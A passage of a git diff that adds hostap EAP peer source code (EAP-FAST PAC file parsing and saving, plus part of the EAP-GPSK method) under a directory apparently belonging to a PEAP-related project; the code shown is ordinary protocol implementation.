PAC-Type"; + + return NULL; +} + + +static const char * eap_fast_parse_pac_key(struct eap_fast_pac *pac, char *pos) +{ + u8 *key; + size_t key_len; + + key = eap_fast_parse_hex(pos, &key_len); + if (key == NULL || key_len != EAP_FAST_PAC_KEY_LEN) { + os_free(key); + return "Invalid PAC-Key"; + } + + os_memcpy(pac->pac_key, key, EAP_FAST_PAC_KEY_LEN); + os_free(key); + + return NULL; +} + + +static const char * eap_fast_parse_pac_opaque(struct eap_fast_pac *pac, + char *pos) +{ + os_free(pac->pac_opaque); + pac->pac_opaque = eap_fast_parse_hex(pos, &pac->pac_opaque_len); + if (pac->pac_opaque == NULL) + return "Invalid PAC-Opaque"; + return NULL; +} + + +static const char * eap_fast_parse_a_id(struct eap_fast_pac *pac, char *pos) +{ + os_free(pac->a_id); + pac->a_id = eap_fast_parse_hex(pos, &pac->a_id_len); + if (pac->a_id == NULL) + return "Invalid A-ID"; + return NULL; +} + + +static const char * eap_fast_parse_i_id(struct eap_fast_pac *pac, char *pos) +{ + os_free(pac->i_id); + pac->i_id = eap_fast_parse_hex(pos, &pac->i_id_len); + if (pac->i_id == NULL) + return "Invalid I-ID"; + return NULL; +} + + +static const char * eap_fast_parse_a_id_info(struct eap_fast_pac *pac, + char *pos) +{ + os_free(pac->a_id_info); + pac->a_id_info = eap_fast_parse_hex(pos, &pac->a_id_info_len); + if (pac->a_id_info == NULL) + return "Invalid A-ID-Info"; + return NULL; +} + + +/** + * eap_fast_load_pac - Load PAC entries (text format) + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @pac_root: Pointer to root of the PAC list (to be filled) + * @pac_file: Name of the PAC file/blob to load + * Returns: 0 on success, -1 on failure + */ +int eap_fast_load_pac(struct eap_sm *sm, struct eap_fast_pac **pac_root, + const char *pac_file) +{ + struct eap_fast_read_ctx rc; + struct eap_fast_pac *pac = NULL; + int count = 0; + char *pos; + const char *err = NULL; + + if (pac_file == NULL) + return -1; + + if (eap_fast_init_pac_data(sm, pac_file, &rc) < 0) + return 0; + + if (eap_fast_read_line(&rc, &pos) < 0) { + /* empty file - assume it is fine to overwrite */ + eap_fast_deinit_pac_data(&rc); + return 0; + } + if (os_strcmp(pac_file_hdr, rc.buf) != 0) + err = "Unrecognized header line"; + + while (!err && eap_fast_read_line(&rc, &pos) == 0) { + if (os_strcmp(rc.buf, "START") == 0) + err = eap_fast_parse_start(&pac); + else if (os_strcmp(rc.buf, "END") == 0) { + err = eap_fast_parse_end(pac_root, &pac); + count++; + } else if (!pac) + err = "Unexpected line outside START/END block"; + else if (os_strcmp(rc.buf, "PAC-Type") == 0) + err = eap_fast_parse_pac_type(pac, pos); + else if (os_strcmp(rc.buf, "PAC-Key") == 0) + err = eap_fast_parse_pac_key(pac, pos); + else if (os_strcmp(rc.buf, "PAC-Opaque") == 0) + err = eap_fast_parse_pac_opaque(pac, pos); + else if (os_strcmp(rc.buf, "A-ID") == 0) + err = eap_fast_parse_a_id(pac, pos); + else if (os_strcmp(rc.buf, "I-ID") == 0) + err = eap_fast_parse_i_id(pac, pos); + else if (os_strcmp(rc.buf, "A-ID-Info") == 0) + err = eap_fast_parse_a_id_info(pac, pos); + } + + if (pac) { + err = "PAC block not terminated with END"; + eap_fast_free_pac(pac); + } + + eap_fast_deinit_pac_data(&rc); + + if (err) { + wpa_printf(MSG_INFO, "EAP-FAST: %s in '%s:%d'", + err, pac_file, rc.line); + return -1; + } + + wpa_printf(MSG_DEBUG, "EAP-FAST: Read %d PAC entries from '%s'", + count, pac_file); + + return 0; +} + + +static void eap_fast_write(char **buf, char **pos, size_t *buf_len, + const char *field, const u8 *data, + size_t len, int txt) +{ + size_t i, need; + int ret; + char *end; + + if (data == NULL || buf == NULL || *buf == NULL || + pos == NULL || *pos == NULL || *pos < *buf) + return; + + need = os_strlen(field) + len * 2 + 30; + if (txt) + need += os_strlen(field) + len + 20; + + if (*pos - *buf + need > *buf_len) { + char *nbuf = os_realloc(*buf, *buf_len + need); + if (nbuf == NULL) { + os_free(*buf); + *buf = NULL; + return; + } + *pos = nbuf + (*pos - *buf); + *buf = nbuf; + *buf_len += need; + } + end = *buf + *buf_len; + + ret = os_snprintf(*pos, end - *pos, "%s=", field); + if (ret < 0 || ret >= end - *pos) + return; + *pos += ret; + *pos += wpa_snprintf_hex(*pos, end - *pos, data, len); + ret = os_snprintf(*pos, end - *pos, "\n"); + if (ret < 0 || ret >= end - *pos) + return; + *pos += ret; + + if (txt) { + ret = os_snprintf(*pos, end - *pos, "%s-txt=", field); + if (ret < 0 || ret >= end - *pos) + return; + *pos += ret; + for (i = 0; i < len; i++) { + ret = os_snprintf(*pos, end - *pos, "%c", data[i]); + if (ret < 0 || ret >= end - *pos) + return; + *pos += ret; + } + ret = os_snprintf(*pos, end - *pos, "\n"); + if (ret < 0 || ret >= end - *pos) + return; + *pos += ret; + } +} + + +static int eap_fast_write_pac(struct eap_sm *sm, const char *pac_file, + char *buf, size_t len) +{ + if (os_strncmp(pac_file, "blob://", 7) == 0) { + struct wpa_config_blob *blob; + blob = os_zalloc(sizeof(*blob)); + if (blob == NULL) + return -1; + blob->data = (u8 *) buf; + blob->len = len; + buf = NULL; + blob->name = os_strdup(pac_file + 7); + if (blob->name == NULL) { + os_free(blob); + return -1; + } + eap_set_config_blob(sm, blob); + } else { + FILE *f; + f = fopen(pac_file, "wb"); + if (f == NULL) { + wpa_printf(MSG_INFO, "EAP-FAST: Failed to open PAC " + "file '%s' for writing", pac_file); + return -1; + } + if (fwrite(buf, 1, len, f) != len) { + wpa_printf(MSG_INFO, "EAP-FAST: Failed to write all " + "PACs into '%s'", pac_file); + fclose(f); + return -1; + } + os_free(buf); + fclose(f); + } + + return 0; +} + + +static int eap_fast_add_pac_data(struct eap_fast_pac *pac, char **buf, + char **pos, size_t *buf_len) +{ + int ret; + + ret = os_snprintf(*pos, *buf + *buf_len - *pos, + "START\nPAC-Type=%d\n", pac->pac_type); + if (ret < 0 || ret >= *buf + *buf_len - *pos) + return -1; + + *pos += ret; + eap_fast_write(buf, pos, buf_len, "PAC-Key", + pac->pac_key, EAP_FAST_PAC_KEY_LEN, 0); + eap_fast_write(buf, pos, buf_len, "PAC-Opaque", + pac->pac_opaque, pac->pac_opaque_len, 0); + eap_fast_write(buf, pos, buf_len, "PAC-Info", + pac->pac_info, pac->pac_info_len, 0); + eap_fast_write(buf, pos, buf_len, "A-ID", + pac->a_id, pac->a_id_len, 0); + eap_fast_write(buf, pos, buf_len, "I-ID", + pac->i_id, pac->i_id_len, 1); + eap_fast_write(buf, pos, buf_len, "A-ID-Info", + pac->a_id_info, pac->a_id_info_len, 1); + if (*buf == NULL) { + wpa_printf(MSG_DEBUG, "EAP-FAST: No memory for PAC " + "data"); + return -1; + } + ret = os_snprintf(*pos, *buf + *buf_len - *pos, "END\n"); + if (ret < 0 || ret >= *buf + *buf_len - *pos) + return -1; + *pos += ret; + + return 0; +} + + +/** + * eap_fast_save_pac - Save PAC entries (text format) + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @pac_root: Root of the PAC list + * @pac_file: Name of the PAC file/blob + * Returns: 0 on success, -1 on failure + */ +int eap_fast_save_pac(struct eap_sm *sm, struct eap_fast_pac *pac_root, + const char *pac_file) +{ + struct eap_fast_pac *pac; + int ret, count = 0; + char *buf, *pos; + size_t buf_len; + + if (pac_file == NULL) + return -1; + + buf_len = 1024; + pos = buf = os_malloc(buf_len); + if (buf == NULL) + return -1; + + ret = os_snprintf(pos, buf + buf_len - pos, "%s\n", pac_file_hdr); + if (ret < 0 || ret >= buf + buf_len - pos) { + os_free(buf); + return -1; + } + pos += ret; + + pac = pac_root; + while (pac) { + if (eap_fast_add_pac_data(pac, &buf, &pos, &buf_len)) { + os_free(buf); + return -1; + } + count++; + pac = pac->next; + } + + if (eap_fast_write_pac(sm, pac_file, buf, pos - buf)) { + os_free(buf); + return -1; + } + + wpa_printf(MSG_DEBUG, "EAP-FAST: Wrote %d PAC entries into '%s'", + count, pac_file); + + return 0; +} + + +/** + * eap_fast_pac_list_truncate - Truncate a PAC list to the given length + * @pac_root: Root of the PAC list + * @max_len: Maximum length of the list (>= 1) + * Returns: Number of PAC entries removed + */ +size_t eap_fast_pac_list_truncate(struct eap_fast_pac *pac_root, + size_t max_len) +{ + struct eap_fast_pac *pac, *prev; + size_t count; + + pac = pac_root; + prev = NULL; + count = 0; + + while (pac) { + count++; + if (count > max_len) + break; + prev = pac; + pac = pac->next; + } + + if (count <= max_len || prev == NULL) + return 0; + + count = 0; + prev->next = NULL; + + while (pac) { + prev = pac; + pac = pac->next; + eap_fast_free_pac(prev); + count++; + } + + return count; +} + + +static void eap_fast_pac_get_a_id(struct eap_fast_pac *pac) +{ + u8 *pos, *end; + u16 type, len; + + pos = pac->pac_info; + end = pos + pac->pac_info_len; + + while (pos + 4 < end) { + type = WPA_GET_BE16(pos); + pos += 2; + len = WPA_GET_BE16(pos); + pos += 2; + if (pos + len > end) + break; + + if (type == PAC_TYPE_A_ID) { + os_free(pac->a_id); + pac->a_id = os_malloc(len); + if (pac->a_id == NULL) + break; + os_memcpy(pac->a_id, pos, len); + pac->a_id_len = len; + } + + if (type == PAC_TYPE_A_ID_INFO) { + os_free(pac->a_id_info); + pac->a_id_info = os_malloc(len); + if (pac->a_id_info == NULL) + break; + os_memcpy(pac->a_id_info, pos, len); + pac->a_id_info_len = len; + } + + pos += len; + } +} + + +/** + * eap_fast_load_pac_bin - Load PAC entries (binary format) + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @pac_root: Pointer to root of the PAC list (to be filled) + * @pac_file: Name of the PAC file/blob to load + * Returns: 0 on success, -1 on failure + */ +int eap_fast_load_pac_bin(struct eap_sm *sm, struct eap_fast_pac **pac_root, + const char *pac_file) +{ + const struct wpa_config_blob *blob = NULL; + u8 *buf, *end, *pos; + size_t len, count = 0; + struct eap_fast_pac *pac, *prev; + + *pac_root = NULL; + + if (pac_file == NULL) + return -1; + + if (os_strncmp(pac_file, "blob://", 7) == 0) { + blob = eap_get_config_blob(sm, pac_file + 7); + if (blob == NULL) { + wpa_printf(MSG_INFO, "EAP-FAST: No PAC blob '%s' - " + "assume no PAC entries have been " + "provisioned", pac_file + 7); + return 0; + } + buf = blob->data; + len = blob->len; + } else { + buf = (u8 *) os_readfile(pac_file, &len); + if (buf == NULL) { + wpa_printf(MSG_INFO, "EAP-FAST: No PAC file '%s' - " + "assume no PAC entries have been " + "provisioned", pac_file); + return 0; + } + } + + if (len == 0) { + if (blob == NULL) + os_free(buf); + return 0; + } + + if (len < 6 || WPA_GET_BE32(buf) != EAP_FAST_PAC_BINARY_MAGIC || + WPA_GET_BE16(buf + 4) != EAP_FAST_PAC_BINARY_FORMAT_VERSION) { + wpa_printf(MSG_INFO, "EAP-FAST: Invalid PAC file '%s' (bin)", + pac_file); + if (blob == NULL) + os_free(buf); + return -1; + } + + pac = prev = NULL; + pos = buf + 6; + end = buf + len; + while (pos < end) { + if (end - pos < 2 + 32 + 2 + 2) + goto parse_fail; + + pac = os_zalloc(sizeof(*pac)); + if (pac == NULL) + goto parse_fail; + + pac->pac_type = WPA_GET_BE16(pos); + pos += 2; + os_memcpy(pac->pac_key, pos, EAP_FAST_PAC_KEY_LEN); + pos += EAP_FAST_PAC_KEY_LEN; + pac->pac_opaque_len = WPA_GET_BE16(pos); + pos += 2; + if (pos + pac->pac_opaque_len + 2 > end) + goto parse_fail; + pac->pac_opaque = os_malloc(pac->pac_opaque_len); + if (pac->pac_opaque == NULL) + goto parse_fail; + os_memcpy(pac->pac_opaque, pos, pac->pac_opaque_len); + pos += pac->pac_opaque_len; + pac->pac_info_len = WPA_GET_BE16(pos); + pos += 2; + if (pos + pac->pac_info_len > end) + goto parse_fail; + pac->pac_info = os_malloc(pac->pac_info_len); + if (pac->pac_info == NULL) + goto parse_fail; + os_memcpy(pac->pac_info, pos, pac->pac_info_len); + pos += pac->pac_info_len; + eap_fast_pac_get_a_id(pac); + + count++; + if (prev) + prev->next = pac; + else + *pac_root = pac; + prev = pac; + } + + if (blob == NULL) + os_free(buf); + + wpa_printf(MSG_DEBUG, "EAP-FAST: Read %lu PAC entries from '%s' (bin)", + (unsigned long) count, pac_file); + + return 0; + +parse_fail: + wpa_printf(MSG_INFO, "EAP-FAST: Failed to parse PAC file '%s' (bin)", + pac_file); + if (blob == NULL) + os_free(buf); + if (pac) + eap_fast_free_pac(pac); + return -1; +} + + +/** + * eap_fast_save_pac_bin - Save PAC entries (binary format) + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @pac_root: Root of the PAC list + * @pac_file: Name of the PAC file/blob + * Returns: 0 on success, -1 on failure + */ +int eap_fast_save_pac_bin(struct eap_sm *sm, struct eap_fast_pac *pac_root, + const char *pac_file) +{ + size_t len, count = 0; + struct eap_fast_pac *pac; + u8 *buf, *pos; + + len = 6; + pac = pac_root; + while (pac) { + if (pac->pac_opaque_len > 65535 || + pac->pac_info_len > 65535) + return -1; + len += 2 + EAP_FAST_PAC_KEY_LEN + 2 + pac->pac_opaque_len + + 2 + pac->pac_info_len; + pac = pac->next; + } + + buf = os_malloc(len); + if (buf == NULL) + return -1; + + pos = buf; + WPA_PUT_BE32(pos, EAP_FAST_PAC_BINARY_MAGIC); + pos += 4; + WPA_PUT_BE16(pos, EAP_FAST_PAC_BINARY_FORMAT_VERSION); + pos += 2; + + pac = pac_root; + while (pac) { + WPA_PUT_BE16(pos, pac->pac_type); + pos += 2; + os_memcpy(pos, pac->pac_key, EAP_FAST_PAC_KEY_LEN); + pos += EAP_FAST_PAC_KEY_LEN; + WPA_PUT_BE16(pos, pac->pac_opaque_len); + pos += 2; + os_memcpy(pos, pac->pac_opaque, pac->pac_opaque_len); + pos += pac->pac_opaque_len; + WPA_PUT_BE16(pos, pac->pac_info_len); + pos += 2; + os_memcpy(pos, pac->pac_info, pac->pac_info_len); + pos += pac->pac_info_len; + + pac = pac->next; + count++; + } + + if (eap_fast_write_pac(sm, pac_file, (char *) buf, len)) { + os_free(buf); + return -1; + } + + wpa_printf(MSG_DEBUG, "EAP-FAST: Wrote %lu PAC entries into '%s' " + "(bin)", (unsigned long) count, pac_file); + + return 0; +} diff --git a/peapwn/mods/hostap/src/eap_peer/eap_fast_pac.h b/peapwn/mods/hostap/src/eap_peer/eap_fast_pac.h new file mode 100644 index 000000000..8815d9168 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_fast_pac.h @@ -0,0 +1,50 @@ +/* + * EAP peer method: EAP-FAST PAC file processing + * Copyright (c) 2004-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef EAP_FAST_PAC_H +#define EAP_FAST_PAC_H + +#include "eap_common/eap_fast_common.h" + +struct eap_fast_pac { + struct eap_fast_pac *next; + + u8 pac_key[EAP_FAST_PAC_KEY_LEN]; + u8 *pac_opaque; + size_t pac_opaque_len; + u8 *pac_info; + size_t pac_info_len; + u8 *a_id; + size_t a_id_len; + u8 *i_id; + size_t i_id_len; + u8 *a_id_info; + size_t a_id_info_len; + u16 pac_type; +}; + + +void eap_fast_free_pac(struct eap_fast_pac *pac); +struct eap_fast_pac * eap_fast_get_pac(struct eap_fast_pac *pac_root, + const u8 *a_id, size_t a_id_len, + u16 pac_type); +int eap_fast_add_pac(struct eap_fast_pac **pac_root, + struct eap_fast_pac **pac_current, + struct eap_fast_pac *entry); +int eap_fast_load_pac(struct eap_sm *sm, struct eap_fast_pac **pac_root, + const char *pac_file); +int eap_fast_save_pac(struct eap_sm *sm, struct eap_fast_pac *pac_root, + const char *pac_file); +size_t eap_fast_pac_list_truncate(struct eap_fast_pac *pac_root, + size_t max_len); +int eap_fast_load_pac_bin(struct eap_sm *sm, struct eap_fast_pac **pac_root, + const char *pac_file); +int eap_fast_save_pac_bin(struct eap_sm *sm, struct eap_fast_pac *pac_root, + const char *pac_file); + +#endif /* EAP_FAST_PAC_H */ diff --git a/peapwn/mods/hostap/src/eap_peer/eap_gpsk.c b/peapwn/mods/hostap/src/eap_peer/eap_gpsk.c new file mode 100644 index 000000000..8a0644d02 --- /dev/null +++ b/peapwn/mods/hostap/src/eap_peer/eap_gpsk.c @@ -0,0 +1,766 @@ +/* + * EAP peer method: EAP-GPSK (RFC 5433) + * Copyright (c) 2006-2008, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "includes.h" + +#include "common.h" +#include "crypto/random.h" +#include "eap_peer/eap_i.h" +#include "eap_common/eap_gpsk_common.h" + +struct eap_gpsk_data { + enum { GPSK_1, GPSK_3, SUCCESS, FAILURE } state; + u8 rand_server[EAP_GPSK_RAND_LEN]; + u8 rand_peer[EAP_GPSK_RAND_LEN]; + u8 msk[EAP_MSK_LEN]; + u8 emsk[EAP_EMSK_LEN]; + u8 sk[EAP_GPSK_MAX_SK_LEN]; + size_t sk_len; + u8 pk[EAP_GPSK_MAX_PK_LEN]; + size_t pk_len; + u8 session_id[128]; + size_t id_len; + u8 *id_peer; + size_t id_peer_len; + u8 *id_server; + size_t id_server_len; + int vendor; /* CSuite/Specifier */ + int specifier; /* CSuite/Specifier */ + u8 *psk; + size_t psk_len; +}; + + +static struct wpabuf * eap_gpsk_send_gpsk_2(struct eap_gpsk_data *data, + u8 identifier, + const u8 *csuite_list, + size_t csuite_list_len); +static struct wpabuf * eap_gpsk_send_gpsk_4(struct eap_gpsk_data *data, + u8 identifier); + + +#ifndef CONFIG_NO_STDOUT_DEBUG +static const char * eap_gpsk_state_txt(int state) +{ + switch (state) { + case GPSK_1: + return "GPSK-1"; + case GPSK_3: + return "GPSK-3"; + case SUCCESS: + return "SUCCESS"; + case FAILURE: + return "FAILURE"; + default: + return "?"; + } +} +#endif /* CONFIG_NO_STDOUT_DEBUG */ + + +static void eap_gpsk_state(struct eap_gpsk_data *data, int state) +{ + wpa_printf(MSG_DEBUG, "EAP-GPSK: %s -> %s", + eap_gpsk_state_txt(data->state), + eap_gpsk_state_txt(state)); + data->state = state; +} + + +static void eap_gpsk_deinit(struct eap_sm *sm, void *priv); + + +static void * eap_gpsk_init(struct eap_sm *sm) +{ + struct eap_gpsk_data *data; + const u8 *identity, *password; + size_t identity_len, password_len; + + password = eap_get_config_password(sm, &password_len); + if (password == NULL) { + wpa_printf(MSG_INFO, "EAP-GPSK: No key (password) configured"); + return NULL; + } + + data = os_zalloc(sizeof(*data)); + if (data == NULL) + return NULL; + data->state = GPSK_1; + + identity = eap_get_config_identity(sm, &identity_len); + if (identity) { + data->id_peer = os_malloc(identity_len); + if (data->id_peer == NULL) { + eap_gpsk_deinit(sm, data); + return NULL; + } + os_memcpy(data->id_peer, identity, identity_len); + data->id_peer_len = identity_len; + } + + data->psk = os_malloc(password_len); + if (data->psk == NULL) { + eap_gpsk_deinit(sm, data); + return NULL; + } + os_memcpy(data->psk, password, password_len); + data->psk_len = password_len; + + return data; +} + + +static void eap_gpsk_deinit(struct eap_sm *sm, void *priv) +{ + struct eap_gpsk_data *data = priv; + os_free(data->id_server); + os_free(data->id_peer); + os_free(data->psk); + os_free(data); +} + + +static const u8 * eap_gpsk_process_id_server(struct eap_gpsk_data *data, + const u8 *pos, const u8 *end) +{ + u16 alen; + + if (end - pos < 2) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Too short GPSK-1 packet"); + return NULL; + } + alen = WPA_GET_BE16(pos); + pos += 2; + if (end - pos < alen) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: ID_Server overflow"); + return NULL; + } + os_free(data->id_server); + data->id_server = os_malloc(alen); + if (data->id_server == NULL) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: No memory for ID_Server"); + return NULL; + } + os_memcpy(data->id_server, pos, alen); + data->id_server_len = alen; + wpa_hexdump_ascii(MSG_DEBUG, "EAP-GPSK: ID_Server", + data->id_server, data->id_server_len); + pos += alen; + + return pos; +} + + +static const u8 * eap_gpsk_process_rand_server(struct eap_gpsk_data *data, + const u8 *pos, const u8 *end) +{ + if (pos == NULL) + return NULL; + + if (end - pos < EAP_GPSK_RAND_LEN) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: RAND_Server overflow"); + return NULL; + } + os_memcpy(data->rand_server, pos, EAP_GPSK_RAND_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: RAND_Server", + data->rand_server, EAP_GPSK_RAND_LEN); + pos += EAP_GPSK_RAND_LEN; + + return pos; +} + + +static int eap_gpsk_select_csuite(struct eap_sm *sm, + struct eap_gpsk_data *data, + const u8 *csuite_list, + size_t csuite_list_len) +{ + struct eap_gpsk_csuite *csuite; + int i, count; + + count = csuite_list_len / sizeof(struct eap_gpsk_csuite); + data->vendor = EAP_GPSK_VENDOR_IETF; + data->specifier = EAP_GPSK_CIPHER_RESERVED; + csuite = (struct eap_gpsk_csuite *) csuite_list; + for (i = 0; i < count; i++) { + int vendor, specifier; + vendor = WPA_GET_BE32(csuite->vendor); + specifier = WPA_GET_BE16(csuite->specifier); + wpa_printf(MSG_DEBUG, "EAP-GPSK: CSuite[%d]: %d:%d", + i, vendor, specifier); + if (data->vendor == EAP_GPSK_VENDOR_IETF && + data->specifier == EAP_GPSK_CIPHER_RESERVED && + eap_gpsk_supported_ciphersuite(vendor, specifier)) { + data->vendor = vendor; + data->specifier = specifier; + } + csuite++; + } + if (data->vendor == EAP_GPSK_VENDOR_IETF && + data->specifier == EAP_GPSK_CIPHER_RESERVED) { + wpa_msg(sm->msg_ctx, MSG_INFO, "EAP-GPSK: No supported " + "ciphersuite found"); + return -1; + } + wpa_printf(MSG_DEBUG, "EAP-GPSK: Selected ciphersuite %d:%d", + data->vendor, data->specifier); + + return 0; +} + + +static const u8 * eap_gpsk_process_csuite_list(struct eap_sm *sm, + struct eap_gpsk_data *data, + const u8 **list, + size_t *list_len, + const u8 *pos, const u8 *end) +{ + if (pos == NULL) + return NULL; + + if (end - pos < 2) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Too short GPSK-1 packet"); + return NULL; + } + *list_len = WPA_GET_BE16(pos); + pos += 2; + if (end - pos < (int) *list_len) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: CSuite_List overflow"); + return NULL; + } + if (*list_len == 0 || (*list_len % sizeof(struct eap_gpsk_csuite))) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Invalid CSuite_List len %lu", + (unsigned long) *list_len); + return NULL; + } + *list = pos; + pos += *list_len; + + if (eap_gpsk_select_csuite(sm, data, *list, *list_len) < 0) + return NULL; + + return pos; +} + + +static struct wpabuf * eap_gpsk_process_gpsk_1(struct eap_sm *sm, + struct eap_gpsk_data *data, + struct eap_method_ret *ret, + const struct wpabuf *reqData, + const u8 *payload, + size_t payload_len) +{ + size_t csuite_list_len; + const u8 *csuite_list, *pos, *end; + struct wpabuf *resp; + + if (data->state != GPSK_1) { + ret->ignore = TRUE; + return NULL; + } + + wpa_printf(MSG_DEBUG, "EAP-GPSK: Received Request/GPSK-1"); + + end = payload + payload_len; + + pos = eap_gpsk_process_id_server(data, payload, end); + pos = eap_gpsk_process_rand_server(data, pos, end); + pos = eap_gpsk_process_csuite_list(sm, data, &csuite_list, + &csuite_list_len, pos, end); + if (pos == NULL) { + eap_gpsk_state(data, FAILURE); + return NULL; + } + + resp = eap_gpsk_send_gpsk_2(data, eap_get_id(reqData), + csuite_list, csuite_list_len); + if (resp == NULL) + return NULL; + + eap_gpsk_state(data, GPSK_3); + + return resp; +} + + +static struct wpabuf * eap_gpsk_send_gpsk_2(struct eap_gpsk_data *data, + u8 identifier, + const u8 *csuite_list, + size_t csuite_list_len) +{ + struct wpabuf *resp; + size_t len, miclen; + u8 *rpos, *start; + struct eap_gpsk_csuite *csuite; + + wpa_printf(MSG_DEBUG, "EAP-GPSK: Sending Response/GPSK-2"); + + miclen = eap_gpsk_mic_len(data->vendor, data->specifier); + len = 1 + 2 + data->id_peer_len + 2 + data->id_server_len + + 2 * EAP_GPSK_RAND_LEN + 2 + csuite_list_len + + sizeof(struct eap_gpsk_csuite) + 2 + miclen; + + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_GPSK, len, + EAP_CODE_RESPONSE, identifier); + if (resp == NULL) + return NULL; + + wpabuf_put_u8(resp, EAP_GPSK_OPCODE_GPSK_2); + start = wpabuf_put(resp, 0); + + wpa_hexdump_ascii(MSG_DEBUG, "EAP-GPSK: ID_Peer", + data->id_peer, data->id_peer_len); + wpabuf_put_be16(resp, data->id_peer_len); + wpabuf_put_data(resp, data->id_peer, data->id_peer_len); + + wpabuf_put_be16(resp, data->id_server_len); + wpabuf_put_data(resp, data->id_server, data->id_server_len); + + if (random_get_bytes(data->rand_peer, EAP_GPSK_RAND_LEN)) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Failed to get random data " + "for RAND_Peer"); + eap_gpsk_state(data, FAILURE); + wpabuf_free(resp); + return NULL; + } + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: RAND_Peer", + data->rand_peer, EAP_GPSK_RAND_LEN); + wpabuf_put_data(resp, data->rand_peer, EAP_GPSK_RAND_LEN); + wpabuf_put_data(resp, data->rand_server, EAP_GPSK_RAND_LEN); + + wpabuf_put_be16(resp, csuite_list_len); + wpabuf_put_data(resp, csuite_list, csuite_list_len); + + csuite = wpabuf_put(resp, sizeof(*csuite)); + WPA_PUT_BE32(csuite->vendor, data->vendor); + WPA_PUT_BE16(csuite->specifier, data->specifier); + + if (eap_gpsk_derive_keys(data->psk, data->psk_len, + data->vendor, data->specifier, + data->rand_peer, data->rand_server, + data->id_peer, data->id_peer_len, + data->id_server, data->id_server_len, + data->msk, data->emsk, + data->sk, &data->sk_len, + data->pk, &data->pk_len) < 0) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Failed to derive keys"); + eap_gpsk_state(data, FAILURE); + wpabuf_free(resp); + return NULL; + } + + if (eap_gpsk_derive_session_id(data->psk, data->psk_len, + data->vendor, data->specifier, + data->rand_peer, data->rand_server, + data->id_peer, data->id_peer_len, + data->id_server, data->id_server_len, + EAP_TYPE_GPSK, + data->session_id, &data->id_len) < 0) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Failed to derive Session-Id"); + eap_gpsk_state(data, FAILURE); + wpabuf_free(resp); + return NULL; + } + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: Derived Session-Id", + data->session_id, data->id_len); + + /* No PD_Payload_1 */ + wpabuf_put_be16(resp, 0); + + rpos = wpabuf_put(resp, miclen); + if (eap_gpsk_compute_mic(data->sk, data->sk_len, data->vendor, + data->specifier, start, rpos - start, rpos) < + 0) { + eap_gpsk_state(data, FAILURE); + wpabuf_free(resp); + return NULL; + } + + return resp; +} + + +static const u8 * eap_gpsk_validate_rand(struct eap_gpsk_data *data, + const u8 *pos, const u8 *end) +{ + if (end - pos < EAP_GPSK_RAND_LEN) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Message too short for " + "RAND_Peer"); + return NULL; + } + if (os_memcmp(pos, data->rand_peer, EAP_GPSK_RAND_LEN) != 0) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: RAND_Peer in GPSK-2 and " + "GPSK-3 did not match"); + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: RAND_Peer in GPSK-2", + data->rand_peer, EAP_GPSK_RAND_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: RAND_Peer in GPSK-3", + pos, EAP_GPSK_RAND_LEN); + return NULL; + } + pos += EAP_GPSK_RAND_LEN; + + if (end - pos < EAP_GPSK_RAND_LEN) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Message too short for " + "RAND_Server"); + return NULL; + } + if (os_memcmp(pos, data->rand_server, EAP_GPSK_RAND_LEN) != 0) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: RAND_Server in GPSK-1 and " + "GPSK-3 did not match"); + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: RAND_Server in GPSK-1", + data->rand_server, EAP_GPSK_RAND_LEN); + wpa_hexdump(MSG_DEBUG, "EAP-GPSK: RAND_Server in GPSK-3", + pos, EAP_GPSK_RAND_LEN); + return NULL; + } + pos += EAP_GPSK_RAND_LEN; + + return pos; +} + + +static const u8 * eap_gpsk_validate_id_server(struct eap_gpsk_data *data, + const u8 *pos, const u8 *end) +{ + size_t len; + + if (pos == NULL) + return NULL; + + if (end - pos < (int) 2) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Message too short for " + "length(ID_Server)"); + return NULL; + } + + len = WPA_GET_BE16(pos); + pos += 2; + + if (end - pos < (int) len) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Message too short for " + "ID_Server"); + return NULL; + } + + if (len != data->id_server_len || + os_memcmp(pos, data->id_server, len) != 0) { + wpa_printf(MSG_INFO, "EAP-GPSK: ID_Server did not match with " + "the one used in GPSK-1"); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-GPSK: ID_Server in GPSK-1", + data->id_server, data->id_server_len); + wpa_hexdump_ascii(MSG_DEBUG, "EAP-GPSK: ID_Server in GPSK-3", + pos, len); + return NULL; + } + + pos += len; + + return pos; +} + + +static const u8 * eap_gpsk_validate_csuite(struct eap_gpsk_data *data, + const u8 *pos, const u8 *end) +{ + int vendor, specifier; + const struct eap_gpsk_csuite *csuite; + + if (pos == NULL) + return NULL; + + if (end - pos < (int) sizeof(*csuite)) { + wpa_printf(MSG_DEBUG, "EAP-GPSK: Message too short for " + "CSuite_Sel"); + return NULL; + } + csuite = (const struct eap_gpsk_csuite *) pos; + vendor = WPA_GET_BE32(csuite->vendor); + specifier = WPA_GET_BE16(csuite->specifier); + pos += sizeof(*csuite); + if (vendor != data->vendor || 